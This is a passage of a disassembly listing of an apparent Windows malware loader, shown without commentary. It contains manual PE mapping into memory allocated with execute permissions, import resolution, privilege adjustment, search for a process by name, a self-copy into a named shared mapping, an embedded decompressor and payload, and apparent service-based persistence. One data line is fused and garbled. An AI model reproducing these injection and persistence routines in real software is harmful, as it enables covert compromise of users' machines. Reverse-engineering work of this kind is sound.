					; sub_402150+30j ...
		mov	eax, ebx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
sub_402150	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4021E0	proc near		; CODE XREF: .text:00401FE6p
					; .text:00402042p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		add	esi, [esi+3Ch]
		mov	ebx, [esi+34h]
		lea	esi, [esi+78h]
		add	esi, 28h
		mov	edi, [esi]
		add	edi, [ebp+arg_0]
		jmp	short loc_40223D
; ---------------------------------------------------------------------------


loc_4021FF:				; CODE XREF: sub_4021E0+60j
		mov	ecx, [edi]
		add	ecx, [ebp+arg_0]
		mov	eax, [edi+4]
		mov	[ebp+var_4], eax
		add	edi, 8
		sub	[ebp+var_4], 8
		jmp	short loc_402237
; ---------------------------------------------------------------------------


loc_402213:				; CODE XREF: sub_4021E0+5Bj
		cmp	word ptr [edi],	0
		jnz	short loc_40221E
		add	edi, 2
		jmp	short loc_40223D
; ---------------------------------------------------------------------------


loc_40221E:				; CODE XREF: sub_4021E0+37j
		movzx	esi, word ptr [edi]
		and	esi, 0FFFh
		add	esi, ecx
		mov	eax, [ebp+arg_4]
		sub	[esi], ebx
		add	[esi], eax


loc_402230:				; DATA XREF: sub_404500+D9o
		sub	[ebp+var_4], 2
		add	edi, 2


loc_402237:				; CODE XREF: sub_4021E0+31j
		cmp	[ebp+var_4], 0
		jnz	short loc_402213


loc_40223D:				; CODE XREF: sub_4021E0+1Dj
					; sub_4021E0+3Cj
		cmp	dword ptr [edi], 0
		jnz	short loc_4021FF
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_4021E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402250	proc near		; CODE XREF: .text:00401F91p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		add	edi, [edi+3Ch]
		movzx	esi, word ptr [edi+6]
		push	40h
		push	1000h
		push	dword ptr [edi+50h]
		push	0
		call	dword_41F508	; VirtualAlloc
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		push	dword ptr [edi+54h]
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_402360
		add	edi, 0F8h
		mov	ebx, [ebp+arg_0]
		add	ebx, [ebx+3Ch]
		add	ebx, 0F8h
		and	[ebp+var_8], 0


loc_4022A1:				; CODE XREF: sub_402250+80j
		mov	eax, [ebp+var_8]
		cmp	eax, esi
		jb	short loc_4022AA
		jmp	short loc_4022D2
; ---------------------------------------------------------------------------


loc_4022AA:				; CODE XREF: sub_402250+56j
		mov	ecx, [ebp+var_8]
		imul	ecx, 28h
		mov	edx, edi
		add	edx, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, [edx+0Ch]
		mov	edx, [ebp+arg_0]
		add	edx, [ebx+14h]
		push	dword ptr [ebx+10h]
		push	edx
		push	ecx
		call	sub_402360
		add	ebx, 28h
		inc	[ebp+var_8]
		jmp	short loc_4022A1
; ---------------------------------------------------------------------------


loc_4022D2:				; CODE XREF: sub_402250+58j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_402250	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022E0	proc near		; CODE XREF: .text:00401F9Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		add	edi, [edi+3Ch]
		mov	ebx, [edi+34h]
		lea	edi, [edi+78h]
		add	edi, 8
		mov	edi, [edi]
		add	edi, [ebp+arg_0]
		jmp	short loc_402346
; ---------------------------------------------------------------------------


loc_4022FF:				; CODE XREF: sub_4022E0+6Aj
		mov	ebx, [edi+0Ch]
		add	ebx, [ebp+arg_0]
		push	ebx
		call	dword_41F4F4	; LoadLibraryA
		mov	[ebp+var_4], eax
		mov	esi, [edi+10h]
		add	esi, [ebp+arg_0]
		jmp	short loc_40233E
; ---------------------------------------------------------------------------


loc_402317:				; CODE XREF: sub_4022E0+61j
		mov	eax, [esi]
		test	eax, 80000000h
		jz	short loc_402327
		and	eax, 80000000h
		jmp	short loc_40232F
; ---------------------------------------------------------------------------


loc_402327:				; CODE XREF: sub_4022E0+3Ej
		mov	eax, [esi]
		add	eax, [ebp+arg_0]
		add	eax, 2


loc_40232F:				; CODE XREF: sub_4022E0+45j
		push	eax
		push	[ebp+var_4]
		call	dword_41F4F8	; GetProcAddress
		mov	[esi], eax
		add	esi, 4


loc_40233E:				; CODE XREF: sub_4022E0+35j
		cmp	dword ptr [esi], 0
		jnz	short loc_402317
		add	edi, 14h


loc_402346:				; CODE XREF: sub_4022E0+1Dj
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_4022FF
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_4022E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402360	proc near		; CODE XREF: sub_402062+7Dp
					; sub_402250+36p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_402360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402390	proc near		; CODE XREF: sub_402150+10p

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	[ebp+var_4], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_41F55C	; LookupPrivilegeValueA
		cmp	eax, edi
		jz	short loc_4023F9
		call	dword_41F52C	; GetCurrentProcess
		mov	edx, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	28h
		push	edx
		call	dword_41F560	; OpenProcessToken
		cmp	eax, edi
		jz	short loc_4023F9
		mov	esi, eax
		mov	[ebp+var_18], 1
		mov	[ebp+var_C], 2
		push	edi
		push	edi
		push	edi
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	[ebp+var_8]
		call	dword_41F564	; AdjustTokenPrivileges
		cmp	eax, edi
		jz	short loc_4023F2
		inc	edi


loc_4023F2:				; CODE XREF: sub_402390+5Fj
		push	esi
		call	dword_41F520	; CloseHandle


loc_4023F9:				; CODE XREF: sub_402390+21j
					; sub_402390+3Aj
					; DATA XREF: ...
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_402390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402410	proc near		; CODE XREF: sub_402150+18p

var_12C		= dword	ptr -12Ch
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFED4h
		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		cmp	eax, 1
		jnz	short loc_40248E
		push	edi
		push	2
		call	dword_41F4FC	; CreateToolhelp32Snapshot
		cmp	eax, edi
		jz	short loc_40248E
		mov	[ebp+var_4], eax
		mov	[ebp+var_12C], 128h
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_41F500	; Process32First
		cmp	eax, edi
		jz	short loc_402485


loc_402451:				; CODE XREF: sub_402410:loc_402483j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_41F538	; lstrcmpiA
		cmp	eax, edi
		jnz	short loc_40246D
		mov	edi, [ebp+var_124]
		jmp	short loc_402485
; ---------------------------------------------------------------------------


loc_40246D:				; CODE XREF: sub_402410+53j
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_41F504	; Process32Next
		cmp	eax, edi
		jnz	short loc_402483
		jmp	short loc_402485
; ---------------------------------------------------------------------------


loc_402483:				; CODE XREF: sub_402410+6Fj
		jmp	short loc_402451
; ---------------------------------------------------------------------------


loc_402485:				; CODE XREF: sub_402410+3Fj
					; sub_402410+5Bj ...
		push	[ebp+var_4]
		call	dword_41F520	; CloseHandle


loc_40248E:				; CODE XREF: sub_402410+11j
					; sub_402410+1Ej
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_402410	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h, 4 dup(0)
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024A0	proc near		; CODE XREF: .text:00401F1Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_C], 0
		lea	esi, off_41F2E6
		lea	edi, dword_41F4FC
		jmp	short loc_4024F9
; ---------------------------------------------------------------------------


loc_4024BE:				; CODE XREF: sub_4024A0+5Dj
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		lea	ebx, [ecx+eax*8]
		push	dword ptr [ebx+4]
		call	dword_41F4F4	; LoadLibraryA
		mov	[ebp+var_4], eax
		mov	eax, [ebx]
		mov	[ebp+var_8], eax
		jmp	short loc_4024F0
; ---------------------------------------------------------------------------


loc_4024DA:				; CODE XREF: sub_4024A0+54j
		push	dword ptr [esi]
		push	[ebp+var_4]
		call	dword_41F4F8	; GetProcAddress
		mov	[edi], eax
		add	edi, 4
		add	esi, 4
		dec	[ebp+var_8]


loc_4024F0:				; CODE XREF: sub_4024A0+38j
		cmp	[ebp+var_8], 0
		jnz	short loc_4024DA
		inc	[ebp+var_C]


loc_4024F9:				; CODE XREF: sub_4024A0+1Cj
					; DATA XREF: .data:0041BFE8o
		cmp	[ebp+var_C], 2
		jnz	short loc_4024BE
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_4024A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402510	proc near		; CODE XREF: .text:00401F2Fp

var_144		= byte ptr -144h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEBCh
		push	edi
		push	esi
		push	ebx
		push	12Ch
		lea	eax, [ebp+var_144]
		push	eax
		push	0
		call	dword_41F548	; GetModuleFileNameA
		push	0
		push	80h
		push	3
		push	0
		push	0
		push	80000000h
		lea	eax, [ebp+var_144]
		push	eax
		call	dword_41F54C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jz	loc_40263A
		mov	[ebp+var_4], eax
		push	0
		push	[ebp+var_4]
		call	dword_41F550	; GetFileSize
		mov	[ebp+var_C], eax
		add	eax, 14h
		mov	ecx, eax
		lea	eax, aGlobal2gjkgsjq ; "Global\\2gjkgsjqgq"
		push	eax
		push	ecx
		push	0
		push	4
		push	0
		push	0FFFFFFFFh
		call	dword_41F53C	; CreateFileMappingA
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		push	6
		push	[ebp+var_8]
		call	dword_41F540	; MapViewOfFile
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	edi, eax
		add	edi, 4
		mov	[ebp+var_18], edi
		push	0
		push	esp
		push	[ebp+var_C]
		push	edi
		push	[ebp+var_4]
		call	dword_41F554	; ReadFile
		push	[ebp+var_4]
		call	dword_41F520	; CloseHandle
		mov	ecx, [edi+3Ch]
		add	edi, ecx
		movzx	ebx, word ptr [edi+6]
		push	0
		call	dword_41F558	; GetModuleHandleA
		mov	[ebp+var_14], eax
		mov	esi, eax
		mov	ecx, [ebp+arg_0]
		sub	ecx, [ebp+var_14]
		mov	[edi+28h], ecx
		add	edi, 0F8h
		mov	ecx, [esi+3Ch]
		add	esi, ecx
		add	esi, 0F8h
		jmp	short loc_402610
; ---------------------------------------------------------------------------


loc_4025F3:				; CODE XREF: sub_402510+102j
		mov	eax, [esi+0Ch]
		add	eax, [ebp+var_14]
		mov	edx, [edi+14h]
		add	edx, [ebp+var_18]
		push	dword ptr [esi+10h]
		push	eax
		push	edx
		call	sub_402360
		add	esi, 28h
		add	edi, 28h
		dec	ebx


loc_402610:				; CODE XREF: sub_402510+E1j
		or	ebx, ebx
		jnz	short loc_4025F3
		mov	ecx, [ebp+arg_0]
		sub	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+var_18]
		call	sub_402670
		add	eax, [ebp+var_18]
		push	[ebp+arg_4]
		push	0
		push	eax
		call	sub_402650
		push	[ebp+var_10]
		call	dword_41F544	; UnmapViewOfFile


loc_40263A:				; CODE XREF: sub_402510+42j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_402510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402650	proc near		; CODE XREF: sub_402510+11Cp

arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	ecx, [ebp+arg_8]
		xor	eax, eax
		mov	edi, [ebp+arg_0]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		leave
		retn	0Ch
sub_402650	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402670	proc near		; CODE XREF: sub_402510+10Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		pusha
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi+3Ch]
		add	esi, ecx
		movzx	eax, word ptr [esi+6]
		mov	[ebp+var_8], eax
		add	esi, 0F8h
		mov	ebx, esi
		add	ebx, 28h
		jmp	short loc_4026C5
; ---------------------------------------------------------------------------


loc_402696:				; CODE XREF: sub_402670+59j
		mov	ecx, [esi+0Ch]
		mov	eax, [ebx+0Ch]
		cmp	edi, ecx
		jb	short loc_4026AC
		cmp	edi, eax
		jnb	short loc_4026AC
		sub	edi, [esi+0Ch]
		add	edi, [esi+14h]
		jmp	short loc_4026CB
; ---------------------------------------------------------------------------


loc_4026AC:				; CODE XREF: sub_402670+2Ej
					; sub_402670+32j
		cmp	edi, ecx
		jbe	short loc_4026BC
		cmp	edi, eax
		ja	short loc_4026BC
		sub	edi, [ebx+0Ch]
		add	edi, [ebx+14h]
		jmp	short loc_4026CB
; ---------------------------------------------------------------------------


loc_4026BC:				; CODE XREF: sub_402670+3Ej
					; sub_402670+42j
		add	ebx, 28h
		add	esi, 28h
		dec	[ebp+var_8]


loc_4026C5:				; CODE XREF: sub_402670+24j
		cmp	[ebp+var_8], 0
		jnz	short loc_402696


loc_4026CB:				; CODE XREF: sub_402670+3Aj
					; sub_402670+4Aj
		mov	[ebp+var_4], edi
		popa
		mov	eax, [ebp+var_4]
		leave
		retn	8
sub_402670	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h, 4 dup(0)
		db 8Dh,	49h, 0
		dd 0Ch dup(0)
dword_402710	dd 25FF0000h, 401004h, 100025FFh, 0CCCC0040h					; .data:0041F568o

; =============== S U B	R O U T	I N E =======================================



sub_402720	proc near		; CODE XREF: sub_402062+33p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004027BF SIZE 0000000A BYTES

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h
		xor	ebx, ebx


loc_40272E:				; CODE XREF: sub_402720+16j
		movsb
		mov	bl, 2


loc_402731:				; CODE XREF: sub_402720+3Bj
					; sub_402720+81j
		call	sub_4027A3
		jnb	short loc_40272E
		xor	ecx, ecx
		call	sub_4027A3
		jnb	short loc_40275D
		xor	eax, eax
		call	sub_4027A3
		jnb	short loc_40276D
		mov	bl, 2
		inc	ecx
		mov	al, 10h


loc_40274F:				; CODE XREF: sub_402720+36j
		call	sub_4027A3
		adc	al, al
		jnb	short loc_40274F
		jnz	short loc_402799
		stosb
		jmp	short loc_402731
; ---------------------------------------------------------------------------


loc_40275D:				; CODE XREF: sub_402720+1Fj
		call	sub_4027AF
		sub	ecx, ebx
		jnz	short loc_402776
		call	sub_4027AD
		jmp	short loc_402795
; ---------------------------------------------------------------------------


loc_40276D:				; CODE XREF: sub_402720+28j
		lodsb
		shr	eax, 1
		jz	short loc_4027BF
		adc	ecx, ecx
		jmp	short loc_402792
; ---------------------------------------------------------------------------


loc_402776:				; CODE XREF: sub_402720+44j
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		call	sub_4027AD
		cmp	eax, 7D00h
		jnb	short loc_402792
		cmp	ah, 5
		jnb	short loc_402793
		cmp	eax, 7Fh
		ja	short loc_402794


loc_402792:				; CODE XREF: sub_402720+54j
					; sub_402720+66j
		inc	ecx


loc_402793:				; CODE XREF: sub_402720+6Bj
		inc	ecx


loc_402794:				; CODE XREF: sub_402720+70j
		xchg	eax, ebp


loc_402795:				; CODE XREF: sub_402720+4Bj
		mov	eax, ebp
		mov	bl, 1


loc_402799:				; CODE XREF: sub_402720+38j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_402731
sub_402720	endp


; =============== S U B	R O U T	I N E =======================================



sub_4027A3	proc near		; CODE XREF: sub_402720:loc_402731p
					; sub_402720+1Ap ...
		add	dl, dl
		jnz	short locret_4027AC
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_4027AC:				; CODE XREF: sub_4027A3+2j
		retn
sub_4027A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4027AD	proc near		; CODE XREF: sub_402720+46p
					; sub_402720+5Cp
		xor	ecx, ecx
sub_4027AD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4027AF	proc near		; CODE XREF: sub_402720:loc_40275Dp
		inc	ecx


loc_4027B0:				; CODE XREF: sub_4027AF+Dj
		call	sub_4027A3
		adc	ecx, ecx
		call	sub_4027A3
		jb	short loc_4027B0
		retn
sub_4027AF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_402720


loc_4027BF:				; CODE XREF: sub_402720+50j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn
; END OF FUNCTION CHUNK	FOR sub_402720
; ---------------------------------------------------------------------------
		db 3 dup(0CCh)
		dd 19h dup(0)
		dd 18h dup(?)
dword_402890	dd 0Dh dup(?)						; sub_404CC5+85o
		db ?
byte_4028C5	db 3 dup(?)		; DATA XREF: sub_404CC5+80o
		dd 4Eh dup(?)
_text		ends

; Section 2. (virtual address 00003000)
; Virtual size			: 00012000 (  73728.)
; Section size in file		: 00012000 (  73728.)
; Offset to raw	data for section: 00003000
; Flags	C0000080: Bss Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read/Write
rdata		segment	para public 'BSS' use32
		assume cs:rdata
		;org 403000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_403000	dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0					; .data:off_41F1DEo
		dd 40h,	8 dup(0)
		dd 0D0h, 0EBA1F0Eh, 0CD09B400h
dword_403048	dd 4C01B821h, 685421CDhaIsProgramCanno	db 'is program cannot be run in DOS mode.',0Dh,0Dh,0Ah
					; DATA XREF: rdata:0040538Eo
		db '$',0
		align 10h
		dd 5B01EB7Ah, 3	dup(86F8A3Eh), 86E8A3Eh, 86F8A3Fh, 86B9551h
		dd 86F8A3Ch, 87DAAC2h, 86F8A01h, 87C95B0h, 86F8A40h, 68636952h
		dd 86F8A3Eh, 6 dup(0)
		dd 4550h, 4014Ch, 454B9FFDh, 2 dup(0)
		dd 10E00E0h, 0C05010Bh,	11800h,	9C00h, 0
		dd 7490h, 1000h, 13000h, 400000h, 1000h, 200h, 4, 0
		dd 4, 0
		dd 1E000h, 400h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	13BE0h,	0A9h, 131D8h, 0C8h, 6 dup(0)
		dd 1D000h, 0B68h, 0Ch dup(0)
		dd 13000h, 1D8h, 6 dup(0)
		dd 7865742Eh, 74h, 116F0h, 1000h, 11800h, 400h,	3 dup(0)
		dd 60000020h, 6164722Eh, 6174h,	0C89h, 13000h, 0E00h, 11C00h
		dd 3 dup(0)
		dd 40000040h, 7461642Eh, 61h, 807Ch, 14000h, 6E00h, 12A00h
		dd 3 dup(0)
		dd 0C0000040h, 6C65722Eh, 636Fh, 0BCCh,	1D000h,	0C00h
		dd 19800h, 3 dup(0)
		dd 42000040h, 12h dup(0)
		db 2 dup(0)
word_4032B2	dw 0			; DATA XREF: rdata:0040545Bo
		dd 3Fh dup(0)
dword_4033B0	dd 14h dup(0)						; sub_408DC0+1E7o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403400	proc near		; CODE XREF: sub_4099E5+18p
					; rdata:00409D84p

var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFED0h
		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		push	[ebp+arg_0]
		call	sub_40A266
		inc	eax
		mov	[ebp+var_130], eax
		mov	esi, dword_41BC34
		mov	ebx, off_41BC38


loc_403429:				; DATA XREF: .data:00420D4Ar
					; .data:loc_420D64r ...
		jmp	short loc_403469
; ---------------------------------------------------------------------------


loc_40342B:				; CODE XREF: sub_403400+6Bj
					; DATA XREF: .data:00420CF4r ...
		push	[ebp+var_130]


loc_403431:				; DATA XREF: sub_41F78E:loc_41F7C1r
					; sub_41F78E+BEr ...
		push	dword ptr [esi]
		lea	eax, [ebp+var_12C]
		push	eax
		call	sub_40A260
		push	[ebp+arg_0]
		lea	eax, [ebp+var_12C]
		push	eax
		call	sub_40A254
		or	eax, eax
		jnz	short loc_403465
		mov	edx, [esi]
		add	edx, [ebp+var_130]
		dec	edx
		push	edx
		push	[ebp+arg_4]
		call	sub_40A25A
		inc	edi


loc_403465:				; CODE XREF: sub_403400+50j
		dec	ebx
		add	esi, 4


loc_403469:				; CODE XREF: sub_403400:loc_403429j
		or	ebx, ebx
		jnz	short loc_40342B
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_403400	endp

; ---------------------------------------------------------------------------
		dw 0A48Dh
		dd 24h,	498D00h, 8D535657h, 41474435h, 583D8D00h, 8B004147h
		dd 4147401Dh, 0FF1BEB00h, 92E836h, 0F8830000h, 8B087501h
		dd 3C050907h, 83004147h, 0C68304C7h, 0DB0B4B04h, 5E5BE175h
		dd 9B8DC35Fh, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDA8h
		push	edi
		push	esi
		push	ebx
		call	sub_40A15E
		mov	edx, eax
		push	offset off_41BC38
		push	edx
		call	sub_40A29C
		mov	esi, eax
		mov	dword_41BC34, esi
		mov	ebx, off_41BC38
		jmp	short loc_40351D
; ---------------------------------------------------------------------------


loc_4034EE:				; CODE XREF: rdata:0040351Fj
		push	0
		push	0
		push	258h
		lea	eax, [ebp-258h]
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	0
		push	0
		call	sub_40A23C
		lea	eax, [ebp-258h]
		push	eax
		push	dword ptr [esi]
		call	sub_40A25A
		add	esi, 4
		dec	ebx


loc_40351D:				; CODE XREF: rdata:004034ECj
		or	ebx, ebx
		jnz	short loc_4034EE
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0A48Dh
		dd 24h,	498D00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	esi, dword_41BC34
		mov	ebx, off_41BC38


loc_403544:				; DATA XREF: sub_41F78E+3w
					; sub_41F78E+13r
		jmp	short loc_403559
; ---------------------------------------------------------------------------


loc_403546:				; CODE XREF: rdata:0040355Bj
					; DATA XREF: .data:0041FADCo
		push	dword ptr [ebp+8]
		push	dword ptr [esi]
		call	sub_40A254


loc_403550:				; DATA XREF: sub_41F78E+121w
					; .data:0041F908r ...
		or	eax, eax
		jnz	short loc_403555
		inc	edi


loc_403555:				; CODE XREF: rdata:00403552j
		dec	ebx
		add	esi, 4


loc_403559:				; CODE XREF: rdata:loc_403544j
		or	ebx, ebx
		jnz	short loc_403546
		mov	eax, edi
		pop	ebx


loc_403560:				; DATA XREF: sub_421405+9Er
		pop	esi
		pop	edi
		leave
		retn	4
; ---------------------------------------------------------------------------
		dw 0A48Dh
		dd 24h,	498D00h
; ---------------------------------------------------------------------------


loc_403570:				; DATA XREF: sub_41F78E:loc_41F977r
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFBCCh
		push	edi
		push	esi
		push	ebx


loc_40357C:				; DATA XREF: sub_421405+7r
		call	sub_403B20
		xor	edi, edi
		mov	[ebp-404h], edi
		push	200h
		lea	eax, [ebp-200h]


loc_403594:				; DATA XREF: sub_41F78E+106r
		push	eax
		push	edi
		call	sub_40A188
		cmp	eax, edi
		jz	short loc_403614
		lea	eax, [ebp-200h]
		push	eax
		push	(offset	loc_414686+1)
		lea	eax, [ebp-400h]
		push	eax
		call	sub_40A0F2
		add	esp, 0Ch
		push	0F003Fh
		push	edi
		push	edi
		call	ds:dword_41499B
		mov	esi, eax
		cmp	eax, edi
		jz	short loc_403614
		mov	edx, 1A7h
		push	edi
		push	edi


loc_4035D4:				; DATA XREF: sub_41F78E+22Ar
					; sub_41FFC3:loc_420027r
		lea	eax, [ebp-404h]
		push	eax
		push	edi


loc_4035DC:				; DATA XREF: sub_41F78E+257r
					; sub_41FFC3:loc_42005Ar
		push	edi
		lea	eax, [ebp-400h]
		push	eax


loc_4035E4:				; DATA XREF: sub_41F78E+2F6r
					; sub_41FFC3+3Er
		push	0
		push	2


loc_4035E8:				; DATA XREF: sub_41F78E+239r
					; sub_41FFC3+75r
		push	110h
		push	edx
		push	(offset	loc_4146EA+3)
		push	(offset	loc_4146B8+1)


loc_4035F8:				; DATA XREF: sub_41F78E+21Dr
		push	esi
		call	ds:dword_414997
		mov	ebx, eax
		cmp	eax, edi
		jz	short loc_40360D
		inc	edi
		push	ebx
		call	ds:dword_4149AB


loc_40360D:				; CODE XREF: rdata:00403603j
		push	esi
		call	ds:dword_4149AB


loc_403614:				; CODE XREF: rdata:0040359Dj
					; rdata:004035CBj
		cmp	edi, 1
		jnz	loc_403717
		xor	edi, edi
		push	0F003Fh
		push	edi
		push	edi
		call	ds:dword_41499B
		mov	ebx, eax
		cmp	eax, edi
		jz	loc_403717
		push	0F01FFh
		push	(offset	loc_4146B8+1)
		push	ebx
		call	ds:dword_41499F
		mov	esi, eax
		cmp	eax, edi
		jz	loc_403710
		mov	dword ptr [ebp-408h], (offset loc_4146BF+1)
		lea	eax, [ebp-408h]
		push	eax
		push	1
		push	esi
		call	ds:dword_4149A3
		or	eax, eax
		jnz	short loc_403674
		call	sub_40A17C


loc_403674:				; CODE XREF: rdata:0040366Dj
		push	offset byte_4147AB
		call	sub_403B90
		mov	dword ptr [ebp-434h], 1
		mov	dword ptr [ebp-430h], 600h
		mov	dword ptr [ebp-42Ch], 3
		mov	dword ptr [ebp-428h], 120h
		mov	dword ptr [ebp-424h], 0
		mov	dword ptr [ebp-420h], 120h
		mov	dword ptr [ebp-41Ch], 1000h
		mov	dword ptr [ebp-418h], 0
		lea	eax, [ebp-200h]
		mov	[ebp-414h], eax
		mov	dword ptr [ebp-410h], 3
		lea	eax, [ebp-434h]
		mov	[ebp-40Ch], eax
		lea	eax, [ebp-41Ch]
		push	eax
		push	2
		push	esi
		call	ds:dword_4149A3
		or	eax, eax
		jnz	short loc_403709
		call	sub_40A17C


loc_403709:				; CODE XREF: rdata:00403702j
		push	esi
		call	ds:dword_4149AB


loc_403710:				; CODE XREF: rdata:0040364Bj
		push	ebx
		call	ds:dword_4149AB


